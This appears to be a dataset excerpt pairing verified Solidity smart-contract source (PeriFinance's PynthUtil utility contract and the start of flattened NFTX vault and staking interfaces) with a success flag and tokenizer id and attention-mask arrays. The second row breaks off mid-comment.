source_code
stringlengths 52
864k
| success
stringclasses 1
value | input_ids
sequence | attention_mask
sequence |
|---|---|---|---|
/**
*Submitted for verification at Etherscan.io on 2021-08-11
*/
/*
___ _ ___ _
| .\ ___ _ _ <_> ___ | __><_>._ _ ___ ._ _ ___ ___
| _// ._>| '_>| ||___|| _> | || ' |<_> || ' |/ | '/ ._>
|_| \___.|_| |_| |_| |_||_|_|<___||_|_|\_|_.\___.
* PeriFinance: PynthUtil.sol
*
* Latest source (may be newer): https://github.com/perifinance/peri-finance/blob/master/contracts/PynthUtil.sol
* Docs: Will be added in the future.
* https://docs.peri.finance/contracts/source/contracts/PynthUtil
*
* Contract Dependencies: (none)
* Libraries: (none)
*
* MIT License
* ===========
*
* Copyright (c) 2021 PeriFinance
*
* Permission is hereby granted, free of charge, to any person obtaining a copy
* of this software and associated documentation files (the "Software"), to deal
* in the Software without restriction, including without limitation the rights
* to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
* copies of the Software, and to permit persons to whom the Software is
* furnished to do so, subject to the following conditions:
*
* The above copyright notice and this permission notice shall be included in all
* copies or substantial portions of the Software.
*
* THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
* IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
* FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
* AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
* LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
* OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
*/
pragma solidity 0.5.16;
// https://docs.peri.finance/contracts/source/interfaces/ipynth
interface IPynth {
// Views
function currencyKey() external view returns (bytes32);
function transferablePynths(address account) external view returns (uint);
// Mutative functions
function transferAndSettle(address to, uint value) external returns (bool);
function transferFromAndSettle(
address from,
address to,
uint value
) external returns (bool);
// Restricted: used internally to PeriFinance
function burn(address account, uint amount) external;
function issue(address account, uint amount) external;
}
interface IVirtualPynth {
// Views
function balanceOfUnderlying(address account) external view returns (uint);
function rate() external view returns (uint);
function readyToSettle() external view returns (bool);
function secsLeftInWaitingPeriod() external view returns (uint);
function settled() external view returns (bool);
function pynth() external view returns (IPynth);
// Mutative functions
function settle(address account) external;
}
// https://docs.peri.finance/contracts/source/interfaces/iperiFinance
interface IPeriFinance {
// Views
function getRequiredAddress(bytes32 contractName) external view returns (address);
function anyPynthOrPERIRateIsInvalid() external view returns (bool anyRateInvalid);
function availableCurrencyKeys() external view returns (bytes32[] memory);
function availablePynthCount() external view returns (uint);
function availablePynths(uint index) external view returns (IPynth);
function collateral(address account) external view returns (uint);
function collateralisationRatio(address issuer) external view returns (uint);
function debtBalanceOf(address issuer, bytes32 currencyKey) external view returns (uint);
function isWaitingPeriod(bytes32 currencyKey) external view returns (bool);
function maxIssuablePynths(address issuer) external view returns (uint maxIssuable);
function externalTokenQuota(
address _account,
uint _additionalpUSD,
uint _additionalExToken,
bool _isIssue
) external view returns (uint);
function remainingIssuablePynths(address issuer)
external
view
returns (
uint maxIssuable,
uint alreadyIssued,
uint totalSystemDebt
);
function maxExternalTokenStakeAmount(address _account, bytes32 _currencyKey)
external
view
returns (uint issueAmountToQuota, uint stakeAmountToQuota);
function pynths(bytes32 currencyKey) external view returns (IPynth);
function pynthsByAddress(address pynthAddress) external view returns (bytes32);
function totalIssuedPynths(bytes32 currencyKey) external view returns (uint);
function totalIssuedPynthsExcludeEtherCollateral(bytes32 currencyKey) external view returns (uint);
function transferablePeriFinance(address account) external view returns (uint transferable);
// Mutative Functions
function issuePynths(bytes32 _currencyKey, uint _issueAmount) external;
function issueMaxPynths() external;
function issuePynthsToMaxQuota(bytes32 _currencyKey) external;
function burnPynths(bytes32 _currencyKey, uint _burnAmount) external;
function fitToClaimable() external;
function exit() external;
function exchange(
bytes32 sourceCurrencyKey,
uint sourceAmount,
bytes32 destinationCurrencyKey
) external returns (uint amountReceived);
function exchangeOnBehalf(
address exchangeForAddress,
bytes32 sourceCurrencyKey,
uint sourceAmount,
bytes32 destinationCurrencyKey
) external returns (uint amountReceived);
function exchangeWithTracking(
bytes32 sourceCurrencyKey,
uint sourceAmount,
bytes32 destinationCurrencyKey,
address originator,
bytes32 trackingCode
) external returns (uint amountReceived);
function exchangeOnBehalfWithTracking(
address exchangeForAddress,
bytes32 sourceCurrencyKey,
uint sourceAmount,
bytes32 destinationCurrencyKey,
address originator,
bytes32 trackingCode
) external returns (uint amountReceived);
function exchangeWithVirtual(
bytes32 sourceCurrencyKey,
uint sourceAmount,
bytes32 destinationCurrencyKey,
bytes32 trackingCode
) external returns (uint amountReceived, IVirtualPynth vPynth);
function mint(address _user, uint _amount) external returns (bool);
function inflationalMint(uint _networkDebtShare) external returns (bool);
function settle(bytes32 currencyKey)
external
returns (
uint reclaimed,
uint refunded,
uint numEntries
);
// Liquidations
function liquidateDelinquentAccount(address account, uint pusdAmount) external returns (bool);
// Restricted Functions
function mintSecondary(address account, uint amount) external;
function mintSecondaryRewards(uint amount) external;
function burnSecondary(address account, uint amount) external;
}
// https://docs.peri.finance/contracts/source/interfaces/iexchangerates
interface IExchangeRates {
// Structs
struct RateAndUpdatedTime {
uint216 rate;
uint40 time;
}
struct InversePricing {
uint entryPoint;
uint upperLimit;
uint lowerLimit;
bool frozenAtUpperLimit;
bool frozenAtLowerLimit;
}
// Views
function aggregators(bytes32 currencyKey) external view returns (address);
function aggregatorWarningFlags() external view returns (address);
function anyRateIsInvalid(bytes32[] calldata currencyKeys) external view returns (bool);
function canFreezeRate(bytes32 currencyKey) external view returns (bool);
function currentRoundForRate(bytes32 currencyKey) external view returns (uint);
function currenciesUsingAggregator(address aggregator) external view returns (bytes32[] memory);
function effectiveValue(
bytes32 sourceCurrencyKey,
uint sourceAmount,
bytes32 destinationCurrencyKey
) external view returns (uint value);
function effectiveValueAndRates(
bytes32 sourceCurrencyKey,
uint sourceAmount,
bytes32 destinationCurrencyKey
)
external
view
returns (
uint value,
uint sourceRate,
uint destinationRate
);
function effectiveValueAtRound(
bytes32 sourceCurrencyKey,
uint sourceAmount,
bytes32 destinationCurrencyKey,
uint roundIdForSrc,
uint roundIdForDest
) external view returns (uint value);
function getCurrentRoundId(bytes32 currencyKey) external view returns (uint);
function getLastRoundIdBeforeElapsedSecs(
bytes32 currencyKey,
uint startingRoundId,
uint startingTimestamp,
uint timediff
) external view returns (uint);
function inversePricing(bytes32 currencyKey)
external
view
returns (
uint entryPoint,
uint upperLimit,
uint lowerLimit,
bool frozenAtUpperLimit,
bool frozenAtLowerLimit
);
function lastRateUpdateTimes(bytes32 currencyKey) external view returns (uint256);
function oracle() external view returns (address);
function rateAndTimestampAtRound(bytes32 currencyKey, uint roundId) external view returns (uint rate, uint time);
function rateAndUpdatedTime(bytes32 currencyKey) external view returns (uint rate, uint time);
function rateAndInvalid(bytes32 currencyKey) external view returns (uint rate, bool isInvalid);
function rateForCurrency(bytes32 currencyKey) external view returns (uint);
function rateIsFlagged(bytes32 currencyKey) external view returns (bool);
function rateIsFrozen(bytes32 currencyKey) external view returns (bool);
function rateIsInvalid(bytes32 currencyKey) external view returns (bool);
function rateIsStale(bytes32 currencyKey) external view returns (bool);
function rateStalePeriod() external view returns (uint);
function ratesAndUpdatedTimeForCurrencyLastNRounds(bytes32 currencyKey, uint numRounds)
external
view
returns (uint[] memory rates, uint[] memory times);
function ratesAndInvalidForCurrencies(bytes32[] calldata currencyKeys)
external
view
returns (uint[] memory rates, bool anyRateInvalid);
function ratesForCurrencies(bytes32[] calldata currencyKeys) external view returns (uint[] memory);
// Mutative functions
function freezeRate(bytes32 currencyKey) external;
}
// https://docs.peri.finance/contracts/source/interfaces/iaddressresolver
interface IAddressResolver {
function getAddress(bytes32 name) external view returns (address);
function getPynth(bytes32 key) external view returns (address);
function requireAndGetAddress(bytes32 name, string calldata reason) external view returns (address);
}
// https://docs.peri.finance/contracts/source/interfaces/ierc20
interface IERC20 {
// ERC20 Optional Views
function name() external view returns (string memory);
function symbol() external view returns (string memory);
function decimals() external view returns (uint8);
// Views
function totalSupply() external view returns (uint);
function balanceOf(address owner) external view returns (uint);
function allowance(address owner, address spender) external view returns (uint);
// Mutative functions
function transfer(address to, uint value) external returns (bool);
function approve(address spender, uint value) external returns (bool);
function transferFrom(
address from,
address to,
uint value
) external returns (bool);
// Events
event Transfer(address indexed from, address indexed to, uint value);
event Approval(address indexed owner, address indexed spender, uint value);
}
// Inheritance
// https://docs.peri.finance/contracts/source/contracts/pynthutil
contract PynthUtil {
IAddressResolver public addressResolverProxy;
bytes32 internal constant CONTRACT_PERIFINANCE = "PeriFinance";
bytes32 internal constant CONTRACT_EXRATES = "ExchangeRates";
bytes32 internal constant PUSD = "pUSD";
constructor(address resolver) public {
addressResolverProxy = IAddressResolver(resolver);
}
function _periFinance() internal view returns (IPeriFinance) {
return IPeriFinance(addressResolverProxy.requireAndGetAddress(CONTRACT_PERIFINANCE, "Missing PeriFinance address"));
}
function _exchangeRates() internal view returns (IExchangeRates) {
return IExchangeRates(addressResolverProxy.requireAndGetAddress(CONTRACT_EXRATES, "Missing ExchangeRates address"));
}
function totalPynthsInKey(address account, bytes32 currencyKey) external view returns (uint total) {
IPeriFinance periFinance = _periFinance();
IExchangeRates exchangeRates = _exchangeRates();
uint numPynths = periFinance.availablePynthCount();
for (uint i = 0; i < numPynths; i++) {
IPynth pynth = periFinance.availablePynths(i);
total += exchangeRates.effectiveValue(
pynth.currencyKey(),
IERC20(address(pynth)).balanceOf(account),
currencyKey
);
}
return total;
}
function pynthsBalances(address account)
external
view
returns (
bytes32[] memory,
uint[] memory,
uint[] memory
)
{
IPeriFinance periFinance = _periFinance();
IExchangeRates exchangeRates = _exchangeRates();
uint numPynths = periFinance.availablePynthCount();
bytes32[] memory currencyKeys = new bytes32[](numPynths);
uint[] memory balances = new uint[](numPynths);
uint[] memory pUSDBalances = new uint[](numPynths);
for (uint i = 0; i < numPynths; i++) {
IPynth pynth = periFinance.availablePynths(i);
currencyKeys[i] = pynth.currencyKey();
balances[i] = IERC20(address(pynth)).balanceOf(account);
pUSDBalances[i] = exchangeRates.effectiveValue(currencyKeys[i], balances[i], PUSD);
}
return (currencyKeys, balances, pUSDBalances);
}
function frozenPynths() external view returns (bytes32[] memory) {
IPeriFinance periFinance = _periFinance();
IExchangeRates exchangeRates = _exchangeRates();
uint numPynths = periFinance.availablePynthCount();
bytes32[] memory frozenPynthsKeys = new bytes32[](numPynths);
for (uint i = 0; i < numPynths; i++) {
IPynth pynth = periFinance.availablePynths(i);
if (exchangeRates.rateIsFrozen(pynth.currencyKey())) {
frozenPynthsKeys[i] = pynth.currencyKey();
}
}
return frozenPynthsKeys;
}
function pynthsRates() external view returns (bytes32[] memory, uint[] memory) {
bytes32[] memory currencyKeys = _periFinance().availableCurrencyKeys();
return (currencyKeys, _exchangeRates().ratesForCurrencies(currencyKeys));
}
function pynthsTotalSupplies()
external
view
returns (
bytes32[] memory,
uint256[] memory,
uint256[] memory
)
{
IPeriFinance periFinance = _periFinance();
IExchangeRates exchangeRates = _exchangeRates();
uint256 numPynths = periFinance.availablePynthCount();
bytes32[] memory currencyKeys = new bytes32[](numPynths);
uint256[] memory balances = new uint256[](numPynths);
uint256[] memory pUSDBalances = new uint256[](numPynths);
for (uint256 i = 0; i < numPynths; i++) {
IPynth pynth = periFinance.availablePynths(i);
currencyKeys[i] = pynth.currencyKey();
balances[i] = IERC20(address(pynth)).totalSupply();
pUSDBalances[i] = exchangeRates.effectiveValue(currencyKeys[i], balances[i], PUSD);
}
return (currencyKeys, balances, pUSDBalances);
}
} | True | [
101,
1013,
1008,
1008,
1008,
7864,
2005,
22616,
2012,
28855,
29378,
1012,
22834,
2006,
25682,
1011,
5511,
1011,
2340,
1008,
1013,
1013,
1008,
1035,
1035,
1035,
1035,
1035,
1035,
1035,
1035,
1064,
1012,
1032,
1035,
1035,
1035,
1035,
1035,
1026,
1035,
1028,
1035,
1035,
1035,
1064,
1035,
1035,
1028,
1026,
1035,
1028,
1012,
1035,
1035,
1035,
1035,
1035,
1012,
1035,
1035,
1035,
1035,
1035,
1035,
1035,
1035,
1064,
1035,
1013,
1013,
1012,
1035,
1028,
1064,
1005,
1035,
1028,
1064,
1064,
1064,
1035,
1035,
1035,
1064,
1064,
1035,
1028,
1064,
1064,
1064,
1005,
1064,
1026,
1035,
1028,
1064,
1064,
1005,
1064,
1013,
1064,
1005,
1013,
1012,
1035,
1028,
1064,
1035,
1064,
1032,
1035,
1035,
1035,
1012,
1064,
1035,
1064,
1064,
1035,
1064,
1064,
1035,
1064,
1064,
1035,
1064,
1064,
1035,
1064,
1035,
1064,
1026,
1035,
1035,
1035,
1064,
1064,
1035,
1064,
1035,
1064,
1032,
1035,
1064,
1035,
1012,
1032,
1035,
1035,
1035,
1012,
1008,
2566,
10128,
3981,
5897,
1024,
1052,
6038,
2705,
21823,
2140,
1012,
14017,
1008,
1008,
6745,
3120,
1006,
2089,
2022,
10947,
1007,
1024,
16770,
1024,
1013,
1013,
21025,
2705,
12083,
1012,
4012,
1013,
2566,
10128,
3981,
5897,
1013,
2566,
2072,
1011,
5446,
1013,
1038,
4135,
2497,
1013,
3040,
1013,
8311,
1013,
1052,
6038,
2705,
21823,
2140,
1012,
14017,
1008,
9986,
2015,
1024,
2097,
2022,
2794,
1999,
1996,
2925,
1012,
1008,
16770,
1024,
1013,
1013,
9986,
2015,
1012,
2566,
2072,
1012,
5446,
1013,
8311,
1013,
3120,
1013,
8311,
1013,
1052,
6038,
2705,
21823,
2140,
1008,
1008,
3206,
12530,
15266,
1024,
1006,
3904,
1007,
1008,
8860,
1024,
1006,
3904,
1007,
1008,
1008,
10210,
6105,
1008,
1027,
1027,
1027,
1027,
1027,
1027,
1027,
1027,
1027,
1027,
1027,
1008,
1008,
9385,
1006,
1039,
1007,
25682,
2566,
10128,
3981,
5897,
1008,
1008,
6656,
2003,
2182,
3762,
4379,
1010,
2489,
1997,
3715,
1010,
2000,
2151,
2711,
11381,
1037,
6100,
1008,
1997,
2023,
4007,
1998,
3378,
12653,
6764,
1006,
1996,
1000,
4007,
1000,
1007,
1010,
2000,
3066,
1008,
1999,
1996,
4007,
2302,
16840,
1010,
2164,
2302,
22718,
1996,
2916,
1008,
2000,
2224,
1010,
6100,
1010,
19933,
1010,
13590,
1010,
10172,
1010,
16062,
1010,
4942,
13231,
12325,
1010,
1998,
1013,
2030,
5271,
1008,
4809,
1997,
1996,
4007,
1010,
1998,
2000,
9146,
5381,
2000,
3183,
1996,
4007,
2003,
1008,
19851,
2000,
2079,
2061,
1010,
3395,
2000,
1996,
2206,
3785,
1024,
1008,
1008,
1996,
2682,
9385,
5060,
1998,
2023,
6656,
5060,
4618,
2022,
2443,
1999,
2035,
1008,
4809,
2030,
6937,
8810,
1997,
1996,
4007,
1012,
1008,
1008,
1996,
4007,
2003,
3024,
1000,
2004,
2003,
1000,
1010,
2302,
10943,
2100,
1997,
2151,
2785,
1010,
4671,
2030,
1008,
13339,
1010,
2164,
2021,
2025,
3132,
2000,
1996,
10943,
3111,
1997,
6432,
8010,
1010,
1008,
10516,
2005,
1037,
3327,
3800,
1998,
2512,
2378,
19699,
23496,
3672,
1012,
1999,
2053,
2724,
4618,
1996,
1008,
6048,
2030,
9385,
13304,
2022,
20090,
2005,
2151,
4366,
1010,
12394,
2030,
2060,
1008,
14000,
1010,
3251,
1999,
2019,
2895,
1997,
3206,
1010,
17153,
2102,
2030,
4728,
1010,
17707,
2013,
1010,
1008,
2041,
1997,
2030,
1999,
4434,
2007,
1996,
4007,
2030,
1996,
2224,
2030,
2060,
24069,
1999,
1996,
1008,
1013,
102
] | [
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1
] |
/**
*Submitted for verification at Etherscan.io on 2021-07-18
*/
// Sources flattened with hardhat v2.4.3 https://hardhat.org
// File contracts/solidity/interface/INFTXEligibility.sol
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
interface INFTXEligibility {
// Read functions.
function name() external pure returns (string memory);
function finalized() external view returns (bool);
function targetAsset() external pure returns (address);
function checkAllEligible(uint256[] calldata tokenIds)
external
view
returns (bool);
function checkEligible(uint256[] calldata tokenIds)
external
view
returns (bool[] memory);
function checkAllIneligible(uint256[] calldata tokenIds)
external
view
returns (bool);
function checkIsEligible(uint256 tokenId) external view returns (bool);
// Write functions.
function __NFTXEligibility_init_bytes(bytes calldata configData) external;
function beforeMintHook(uint256[] calldata tokenIds) external;
function afterMintHook(uint256[] calldata tokenIds) external;
function beforeRedeemHook(uint256[] calldata tokenIds) external;
function afterRedeemHook(uint256[] calldata tokenIds) external;
}
// File contracts/solidity/proxy/IBeacon.sol
pragma solidity ^0.8.0;
/**
* @dev This is the interface that {BeaconProxy} expects of its beacon.
*/
interface IBeacon {
/**
* @dev Must return an address that can be used as a delegate call target.
*
* {BeaconProxy} will check that this address is a contract.
*/
function childImplementation() external view returns (address);
function upgradeChildTo(address newImplementation) external;
}
// File contracts/solidity/interface/INFTXVaultFactory.sol
pragma solidity ^0.8.0;
interface INFTXVaultFactory is IBeacon {
// Read functions.
function numVaults() external view returns (uint256);
function zapContract() external view returns (address);
function feeDistributor() external view returns (address);
function eligibilityManager() external view returns (address);
function vault(uint256 vaultId) external view returns (address);
function vaultsForAsset(address asset) external view returns (address[] memory);
function isLocked(uint256 id) external view returns (bool);
function excludedFromFees(address addr) external view returns (bool);
event NewFeeDistributor(address oldDistributor, address newDistributor);
event NewZapContract(address oldZap, address newZap);
event FeeExclusion(address feeExcluded, bool excluded);
event NewEligibilityManager(address oldEligManager, address newEligManager);
event NewVault(uint256 indexed vaultId, address vaultAddress, address assetAddress);
// Write functions.
function __NFTXVaultFactory_init(address _vaultImpl, address _feeDistributor) external;
function createVault(
string calldata name,
string calldata symbol,
address _assetAddress,
bool is1155,
bool allowAllItems
) external returns (uint256);
function setFeeDistributor(address _feeDistributor) external;
function setEligibilityManager(address _eligibilityManager) external;
function setZapContract(address _zapContract) external;
function setFeeExclusion(address _excludedAddr, bool excluded) external;
}
// File contracts/solidity/interface/INFTXVault.sol
pragma solidity ^0.8.0;
interface INFTXVault {
function manager() external returns (address);
function assetAddress() external returns (address);
function vaultFactory() external returns (INFTXVaultFactory);
function eligibilityStorage() external returns (INFTXEligibility);
function is1155() external returns (bool);
function allowAllItems() external returns (bool);
function enableMint() external returns (bool);
function enableRandomRedeem() external returns (bool);
function enableTargetRedeem() external returns (bool);
function vaultId() external returns (uint256);
function nftIdAt(uint256 holdingsIndex) external view returns (uint256);
function allHoldings() external view returns (uint256[] memory);
function totalHoldings() external view returns (uint256);
function mintFee() external returns (uint256);
function randomRedeemFee() external returns (uint256);
function targetRedeemFee() external returns (uint256);
event VaultInit(
uint256 indexed vaultId,
address assetAddress,
bool is1155,
bool allowAllItems
);
event ManagerSet(address manager);
event EligibilityDeployed(uint256 moduleIndex, address eligibilityAddr);
// event CustomEligibilityDeployed(address eligibilityAddr);
event EnableMintUpdated(bool enabled);
event EnableRandomRedeemUpdated(bool enabled);
event EnableTargetRedeemUpdated(bool enabled);
event MintFeeUpdated(uint256 mintFee);
event RandomRedeemFeeUpdated(uint256 randomRedeemFee);
event TargetRedeemFeeUpdated(uint256 targetRedeemFee);
event Minted(uint256[] nftIds, uint256[] amounts, address to);
event Redeemed(uint256[] nftIds, uint256[] specificIds, address to);
event Swapped(
uint256[] nftIds,
uint256[] amounts,
uint256[] specificIds,
uint256[] redeemedIds,
address to
);
function __NFTXVault_init(
string calldata _name,
string calldata _symbol,
address _assetAddress,
bool _is1155,
bool _allowAllItems
) external;
function finalizeVault() external;
function setVaultMetadata(
string memory name_,
string memory symbol_
) external;
function setVaultFeatures(
bool _enableMint,
bool _enableRandomRedeem,
bool _enableTargetRedeem
) external;
function setFees(
uint256 _mintFee,
uint256 _randomRedeemFee,
uint256 _targetRedeemFee
) external;
// This function allows for an easy setup of any eligibility module contract from the EligibilityManager.
// It takes in ABI encoded parameters for the desired module. This is to make sure they can all follow
// a similar interface.
function deployEligibilityStorage(
uint256 moduleIndex,
bytes calldata initData
) external returns (address);
// The manager has control over options like fees and features
function setManager(address _manager) external;
function mint(
uint256[] calldata tokenIds,
uint256[] calldata amounts /* ignored for ERC721 vaults */
) external returns (uint256);
function mintTo(
uint256[] calldata tokenIds,
uint256[] calldata amounts, /* ignored for ERC721 vaults */
address to
) external returns (uint256);
function redeem(uint256 amount, uint256[] calldata specificIds)
external
returns (uint256[] calldata);
function redeemTo(
uint256 amount,
uint256[] calldata specificIds,
address to
) external returns (uint256[] calldata);
function swap(
uint256[] calldata tokenIds,
uint256[] calldata amounts, /* ignored for ERC721 vaults */
uint256[] calldata specificIds
) external returns (uint256[] calldata);
function swapTo(
uint256[] calldata tokenIds,
uint256[] calldata amounts, /* ignored for ERC721 vaults */
uint256[] calldata specificIds,
address to
) external returns (uint256[] calldata);
function allValidNFTs(uint256[] calldata tokenIds)
external
view
returns (bool);
}
// File contracts/solidity/interface/INFTXLPStaking.sol
pragma solidity ^0.8.0;
interface INFTXLPStaking {
function nftxVaultFactory() external view returns (address);
function rewardDistTokenImpl() external view returns (address);
function stakingTokenProvider() external view returns (address);
function vaultToken(address _stakingToken) external view returns (address);
function stakingToken(address _vaultToken) external view returns (address);
function rewardDistributionToken(uint256 vaultId) external view returns (address);
function rewardDistributionTokenAddr(address stakingToken, address rewardToken) external view returns (address);
// Write functions.
function __NFTXLPStaking__init(address _stakingTokenProvider) external;
function setNFTXVaultFactory(address newFactory) external;
function setStakingTokenProvider(address newProvider) external;
function addPoolForVault(uint256 vaultId) external;
function updatePoolForVault(uint256 vaultId) external;
function updatePoolForVaults(uint256[] calldata vaultId) external;
function receiveRewards(uint256 vaultId, uint256 amount) external returns (bool);
function deposit(uint256 vaultId, uint256 amount) external;
function depositFor(uint256 vaultId, uint256 amount, address to) external;
function exit(uint256 vaultId, uint256 amount) external;
function rescue(uint256 vaultId) external;
function withdraw(uint256 vaultId, uint256 amount) external;
function claimRewards(uint256 vaultId) external;
}
// File contracts/solidity/interface/IUniswapV2Router01.sol
pragma solidity ^0.8.0;
interface IUniswapV2Router01 {
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidity(
address tokenA,
address tokenB,
uint256 amountADesired,
uint256 amountBDesired,
uint256 amountAMin,
uint256 amountBMin,
address to,
uint256 deadline
) external returns (uint256 amountA, uint256 amountB, uint256 liquidity);
function addLiquidityETH(
address token,
uint256 amountTokenDesired,
uint256 amountTokenMin,
uint256 amountETHMin,
address to,
uint256 deadline
)
external
payable
returns (uint256 amountToken, uint256 amountETH, uint256 liquidity);
function removeLiquidity(
address tokenA,
address tokenB,
uint256 liquidity,
uint256 amountAMin,
uint256 amountBMin,
address to,
uint256 deadline
) external returns (uint256 amountA, uint256 amountB);
function removeLiquidityETH(
address token,
uint256 liquidity,
uint256 amountTokenMin,
uint256 amountETHMin,
address to,
uint256 deadline
) external returns (uint256 amountToken, uint256 amountETH);
function removeLiquidityWithPermit(
address tokenA,
address tokenB,
uint256 liquidity,
uint256 amountAMin,
uint256 amountBMin,
address to,
uint256 deadline,
bool approveMax,
uint8 v,
bytes32 r,
bytes32 s
) external returns (uint256 amountA, uint256 amountB);
function removeLiquidityETHWithPermit(
address token,
uint256 liquidity,
uint256 amountTokenMin,
uint256 amountETHMin,
address to,
uint256 deadline,
bool approveMax,
uint8 v,
bytes32 r,
bytes32 s
) external returns (uint256 amountToken, uint256 amountETH);
function swapExactTokensForTokens(
uint256 amountIn,
uint256 amountOutMin,
address[] calldata path,
address to,
uint256 deadline
) external returns (uint256[] memory amounts);
function swapTokensForExactTokens(
uint256 amountOut,
uint256 amountInMax,
address[] calldata path,
address to,
uint256 deadline
) external returns (uint256[] memory amounts);
function swapExactETHForTokens(
uint256 amountOutMin,
address[] calldata path,
address to,
uint256 deadline
) external payable returns (uint256[] memory amounts);
function swapTokensForExactETH(
uint256 amountOut,
uint256 amountInMax,
address[] calldata path,
address to,
uint256 deadline
) external returns (uint256[] memory amounts);
function swapExactTokensForETH(
uint256 amountIn,
uint256 amountOutMin,
address[] calldata path,
address to,
uint256 deadline
) external returns (uint256[] memory amounts);
function swapETHForExactTokens(
uint256 amountOut,
address[] calldata path,
address to,
uint256 deadline
) external payable returns (uint256[] memory amounts);
function quote(uint256 amountA, uint256 reserveA, uint256 reserveB)
external
pure
returns (uint256 amountB);
function getAmountOut(
uint256 amountIn,
uint256 reserveIn,
uint256 reserveOut
) external pure returns (uint256 amountOut);
function getAmountIn(
uint256 amountOut,
uint256 reserveIn,
uint256 reserveOut
) external pure returns (uint256 amountIn);
function getAmountsOut(uint256 amountIn, address[] calldata path)
external
view
returns (uint256[] memory amounts);
function getAmountsIn(uint256 amountOut, address[] calldata path)
external
view
returns (uint256[] memory amounts);
}
// File contracts/solidity/interface/IERC165Upgradeable.sol
pragma solidity ^0.8.0;
/**
* @dev Interface of the ERC165 standard, as defined in the
* https://eips.ethereum.org/EIPS/eip-165[EIP].
*
* Implementers can declare support of contract interfaces, which can then be
* queried by others ({ERC165Checker}).
*
* For an implementation, see {ERC165}.
*/
interface IERC165Upgradeable {
/**
* @dev Returns true if this contract implements the interface defined by
* `interfaceId`. See the corresponding
* https://eips.ethereum.org/EIPS/eip-165#how-interfaces-are-identified[EIP section]
* to learn more about how these ids are created.
*
* This function call must use less than 30 000 gas.
*/
function supportsInterface(bytes4 interfaceId) external view returns (bool);
}
// File contracts/solidity/token/IERC721Upgradeable.sol
pragma solidity ^0.8.0;
/**
* @dev Required interface of an ERC721 compliant contract.
*/
interface IERC721Upgradeable is IERC165Upgradeable {
/**
* @dev Emitted when `tokenId` token is transferred from `from` to `to`.
*/
event Transfer(address indexed from, address indexed to, uint256 indexed tokenId);
/**
* @dev Emitted when `owner` enables `approved` to manage the `tokenId` token.
*/
event Approval(address indexed owner, address indexed approved, uint256 indexed tokenId);
/**
* @dev Emitted when `owner` enables or disables (`approved`) `operator` to manage all of its assets.
*/
event ApprovalForAll(address indexed owner, address indexed operator, bool approved);
/**
* @dev Returns the number of tokens in ``owner``'s account.
*/
function balanceOf(address owner) external view returns (uint256 balance);
/**
* @dev Returns the owner of the `tokenId` token.
*
* Requirements:
*
* - `tokenId` must exist.
*/
function ownerOf(uint256 tokenId) external view returns (address owner);
/**
* @dev Safely transfers `tokenId` token from `from` to `to`, checking first that contract recipients
* are aware of the ERC721 protocol to prevent tokens from being forever locked.
*
* Requirements:
*
* - `from` cannot be the zero address.
